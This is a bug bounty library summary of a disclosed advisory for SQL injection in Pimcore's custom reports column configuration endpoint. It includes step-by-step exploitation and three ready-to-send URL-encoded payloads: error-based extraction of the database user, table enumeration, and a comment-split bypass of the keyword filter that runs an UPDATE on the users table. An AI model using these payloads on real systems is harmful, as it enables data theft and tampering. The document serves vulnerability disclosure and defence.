# Pimcore Vulnerable to SQL Injection in Custom Reports Column Configuration

Authenticated Pimcore user with reports_config permission injects SQL via custom report column configuration, exfiltrating DB data through error-based responses and bypassing keyword filters to run UPDATE.

- Payout: Research
- Severity: high
- Program: Pimcore
- Found by: msayedZiko, kingjia90
- Disclosed: 2026-05-27
- CVE: CVE-2026-44739
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3234-gxc3-pq6f
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3234-gxc3-pq6f
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:php technique:blind technique:source-review vuln:sqli

**Target:** CustomReportsBundle columnConfigAction admin endpoint (POST /admin/bundle/customreports/custom-report/column-config)
**Root cause:** The 'configuration' JSON's sql/from/where fields are concatenated into a query in SqlAdapter::buildQueryString and executed via Db::fetchAssociative without parameterization. A keyword blacklist (UPDATE/DELETE/DROP) is the only defense, leaving SELECT/UNION and dangerous functions usable.
**Steps:**
1. Authenticate as a user with reports_config permission and obtain a valid X-pimcore-csrf-token.
2. POST to `/admin/bundle/customreports/custom-report/column-config` with `configuration=[{"type":"sql","sql":"1 AND (SELECT 1 FROM (SELECT(EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()),0x7e))))x)","from":"object_localized_CAR_en","where":"1=1","groupby":"attributesAvailable"}]&name=Quality_Attributes`.
3. Read the DB username from the error message returned in the JSON response.
4. Swap the subquery for `current_setting('is_superuser')` or `SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1` (increment the limit offset) to enumerate.
5. Bypass the keyword regex by injecting into `where`: `id=1)/**/OR/**/1=1;/**/UPDATE/**/users/**/SET/**/name='admin'/**/WHERE/**/name='admin2';-- -` with `sql=*` and `from=users`.
**How found:** Reporter inspected the CustomReportsBundle columnConfigAction flow (SqlAdapter::getColumns -> buildQueryString -> Db::fetchAssociative), noticed user-supplied sql/from/where strings concatenated into the query, and observed that the keyword filter only blocked some DDL/DML while DB errors were reflected in JSON responses.
**Exploitation:** Any authenticated admin-panel user holding reports_config can send a crafted configuration JSON; the sql/where fragments are concatenated into the report query and executed. Error-based EXTRACTVALUE payloads leak DB metadata through returned error messages, and comment-obfuscated keywords bypass the blacklist to run UPDATE statements against tables like users, enabling data theft and integrity/availability impact.
**Escalation:** From read-only error-based extraction to arbitrary UPDATE/INSERT/DELETE by splitting keywords with `/**/` comments to defeat the DDL/DML filter, e.g. rewriting the admin username.
**Insight:** When a feature lets users supply SQL fragments, test whether the blacklist only blocks DDL/DML keywords: SELECT/UNION and functions like EXTRACTVALUE often remain, and reflected DB errors turn blind injection into trivial exfiltration. Comment sequences (`/**/`) split blocked keywords.

## Proof of concept (copied exactly from the original report)

**Error-based SQLi payload extracting DB user**

```
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20user())%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
```

**Payload enumerating table names via information_schema**

```
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_schema%3ddatabase()%20LIMIT%200%2c1)%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
```

**Regex bypass payload performing UPDATE on users**

```
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22*%22%2c%22from%22%3a%22users%22%2c%22where%22%3a%22id%3d1)%2f**%2fOR%2f**%2f1%3d1%3b%2f**%2fUPDATE%2f**%2fusers%2f**%2fSET%2f**%2fname%3d'admin'%2f**%2fWHERE%2f**%2fname%3d'admin2'%3b--%20-%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
```

